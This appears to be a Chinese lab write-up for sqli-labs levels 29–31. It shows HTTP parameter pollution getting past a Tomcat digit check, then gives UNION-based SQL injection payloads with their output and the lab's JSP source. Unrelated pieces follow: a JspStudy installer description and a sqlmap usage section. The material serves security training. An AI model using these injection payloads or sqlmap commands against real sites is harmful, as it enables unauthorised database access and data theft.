sqli-labs-waf


这一部分对应sqli-labs的29-31题,重点是http参数污染/HPP/HTTP Parameter Pollution。

0.环境配置

直接使用jspstudy,省略tomcat等安装步骤。

jspstudy的站点域名,配置到jspstudy/www路径,端口8080(默认80).

几个题的index.jsp,第27行的url修改成本地真实路径,以下是我的虚拟机中配置的路径:

URL sqli_labs = new URL("http://localhost/phproot/sqli-labs/Less-29/index.php?"+ qs);

1. HPP

HTTP参数污染可用于绕过安全检查。

先讲解一下服务器两层架构:

client
tomcat
apache

Apache和Tomcat都可以做为独立的Web服务器运行。Apache是Web服务器,只处理 静态HTML;Tomcat是Java应用服务器,静态HTML,动态 JSP Servlet 都能处理。

现在要说的情况是,客户端向tomcat发送请求,tomcat再向发送apache请求。

下面列举了一些常见Web服务器对同样名称的参数出现多次的处理方式:

WEB服务器参数获取函数获取到的参数
PHP/Apache$_GET(“par”)Last
JSP/TomcatRequest.getParameter(“par”)First
Perl(CGI)/ApacheParam(“par”)First
ASP/IISRequest.QueryString(“par”)All (comma-delimited string)
Python/Apachegetvalue(“par”)All (List)

然后直接上题。

29. GET-WAF-Single quote

访问/sqli-labs/Less-29/index.jsp?id=1

Your Login name:Dumb
Your Password:Dumb

判断下闭合和注入:

?id=1'
?id=1' '

发现无论怎么输入,都会返回错误页面。其实是因为tomcat服务器做了检查(可理解成waf)。

此时web服务器是apache(可以用wappalyzer浏览器插件查看),重复参数会取最后一个,那么访问/sqli-labs/Less-29/index.jsp?id=1&id=2

Your Login name:Angelina
Your Password:I-kill-you

访问/sqli-labs/Less-29/index.jsp?id=1&id=2&id=3

Your Login name:Dummy
Your Password:p@ssword

符合预期。再判断一下闭合和注入:

?id=1&id=1'
-- You have an error in your SQL syntax;....

?id=1&id=1' '
-- Your Login name:Dumb
-- Your Password:Dumb

ok,绕过成功,闭合是引号,继续构造paylaod:

-- 确定字段并占位
?id=1&id=-1' union select 1,2,3 -- x
-- Your Login name:2
-- Your Password:3

-- 获取信息
?id=1&id=-1' union select 1,version(),database() -- x
-- Your Login name:5.5.47
-- Your Password:security

后面获取表名、库名、字段,按套路来就行了。

看下源码:

<%
	String id = request.getParameter("id");	// jsp这样获取get参数
	String qs = request.getQueryString();
		
	if(id!=null)
	{
		if(id!="")
		{
			try
			{
				String rex = "^\\d+$";		// 检查id是数字 这里取的是id=1
				Boolean match=id.matches(rex);
				if(match == true)
				{
					URL sqli_labs = new URL("http://localhost/phproot/sqli-labs/Less-29/index.php?"+ qs);
			        URLConnection sqli_labs_connection = sqli_labs.openConnection();
			        BufferedReader in = new BufferedReader(
			                                new InputStreamReader(
			                                sqli_labs_connection.getInputStream()));
			        String inputLine;
			        while ((inputLine = in.readLine()) != null) 
			            out.print(inputLine);
			        in.close();
				}
				else
				{
					response.sendRedirect("hacked.jsp");	// 用第一个id判断闭合会重定向到失败页面
				}
			} 
			catch (Exception ex)
			{
				out.print("<font color= '#FFFF00'>");
				out.println(ex);
				out.print("</font>");				
			}
			finally
			{
				
			}
		}
		
	}
	else
	{
		URL sqli_labs = new URL("http://localhost/phproot/phproot/sqli-labs/Less-29/index.php");
        // 无参数也会访问php
	}
%>

30. Blind 29

判断闭合:

?id=1&id=1'
-- 正常

?id=1&id=1"
-- 无username/password

?id=1&id=1""
-- 有username/password

闭合是双引号。

-- 确定字段并占位
?id=1&id=-1" union select 1,2,3 -- x
-- Your Login name:2
-- Your Password:3

-- 获取信息
?id=1&id=-1" union select 1,version(),database() -- x
-- Your Login name:5.5.47
-- Your Password:security

看php源码 其实还把print_r(mysql_error())注释掉了,不过并没有用到报错注入。

31. twist 30

判断闭合:

?id=1&id=1'
-- 正常回显username/password

?id=1&id=1"
-- 提示语法错误  "1"") LIMIT 0,1

根据报错,闭合是双引号加括号。

?id=1&id=-1") union select 1,version(),database() -- x
-- Your Login name:5.5.47
-- Your Password:security
JspStudy 2014.2 (JSP一键安装包) 『软件简介』 JspStudy集成JDK+tomcat+Apache+mysql,JSP环境配置一键启动。无需修改任何配置即可迅速搭建支持JSP的服务器运行环境。 纯绿色解压即可,支持系统服务和非服务两种启动方式,自由切换。控制面板更加有效直观地进行控制程序的启停。 JspStudy将复杂的JSP环境配置简单化。 JspStudy集成以下组件: JDK 1.7_51 Tomcat 7.0.50 MySQL 5.5.36 Apache 2.4.7 PHP 5.4.25&5.2.17 SQL-Front 5.1 Xdebug 2.2.3 mysql-connector-java-5.1.28-bin.jar jstl-1.2.jar MySQL数据库用户名:root,密码root,安装后请重新设置密码。自带mysql驱动mysql-connector-java-5.1.28-bin.jar放在tomcat/lib下。 『特别注意』 1. 为了减少出错安装路径不得有汉字、空格及特殊符号等;注册服务时如有防火墙拦截,请选择全部允许。 2. 端口问题无法启动时,请使用菜单『强制启动端口』进行端口检测。 3. 可通过菜单『卸载相关服务』进行卸载相关服务。 4. 在『启动』、『停止』、『重启』三个启停按钮上右键可以有选择地进行启停,左键将控制全部的启停。 5. 此为JSP环境集成包,需要php集成包的请到www.phpstudy.net下载phpStudy。 6. apache默认端口80,tomcat默认端口8080,mysql默认端口3306。 7. 默认php程序放在WWW/phproot下可解析;也可在高级设置里分开解析,即apche+php和tomcat+jsp。 8. mysql驱动mysql-connector-java无需再找,JspStudy已经集成。 系统服务和非服务启动的区别: 系统服务启动:开机就会启动,适合经常使用或做服务器,无需手工启动,服务会随开机而启动,好处程序运行稳定。 非服务启动:需要手动启动一下,适合偶尔经常使用一下。在不使用的情况不会启动相关进程,从而节省电脑的资源。
### 使用 `sqlmap` 进行 Sqli-Labs 测试 #### 基础命令介绍 为了有效地利用 `sqlmap` 对 SQL 注入漏洞进行测试,理解其基本命令至关重要。例如,在启动针对 sqli-labs 的攻击之前,可以通过指定目标 URL 来初始化扫描过程[^4]。 ```bash python sqlmap.py -u "http://sqli-labs-php7-master/Less-1/?id=1" ``` 此命令会尝试检测并利用给定URL中的任何潜在SQL注入点。 #### 自动化批量处理选项 当希望减少交互次数时,可以加入 `--batch` 参数来自动确认所有提示,默认选择第一个选项继续执行任务而不需人工干预[^1]。 ```bash python sqlmap.py -u "http://sqli-labs-php7-master/Less-1/?id=1" --batch ``` 这使得连续通过多个关卡变得更加高效便捷。 #### 数据库枚举操作 对于想要获取数据库结构信息的情况,比如列出可用的数据库名称,则可以在原有基础上追加 `-dbs` 参数: ```bash python sqlmap.py -u "http://sqli-labs-php7-master/Less-1/?id=1" --batch -dbs ``` 该指令不仅能够识别是否存在可被利用的SQL注入缺陷,还能进一步探索背后隐藏的数据存储情况[^2]。 #### 高级配置与优化设置 有时可能遇到更复杂的场景,这时就需要借助额外的功能参数来进行定制化的渗透测试工作。例如,指明特定类型的数据库管理系统(`--dbms`)以及采用何种技术手段(`--technique`)实施攻击;同时启用优化模式(-o),加快整个流程的速度[^3]: ```bash python sqlmap.py -u "http://192.168.172.128/sqli-labs_1/Less-8/?id=1" --dbms mysql --technique B -o -D security --tables --batch ``` 上述例子展示了如何精确控制 `sqlmap` 行为以适应不同环境下的需求。 #### 应对Web应用防火墙(WAF) 面对某些部署了 WAF 的 web 应用程序,可能会发现常规方法难以奏效。此时应考虑调整策略或增加其他绕过机制。不过,在许多情况下,简单的重复调用仍能成功突破防护措施[^5]。 ```bash sqlmap -u http://127.0.0.1:8081/Less-29/?id=1 --batch --dbs ``` 以上就是使用 `sqlmap` 工具配合 sqli-labs 平台开展安全研究的一些常见实践方式。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值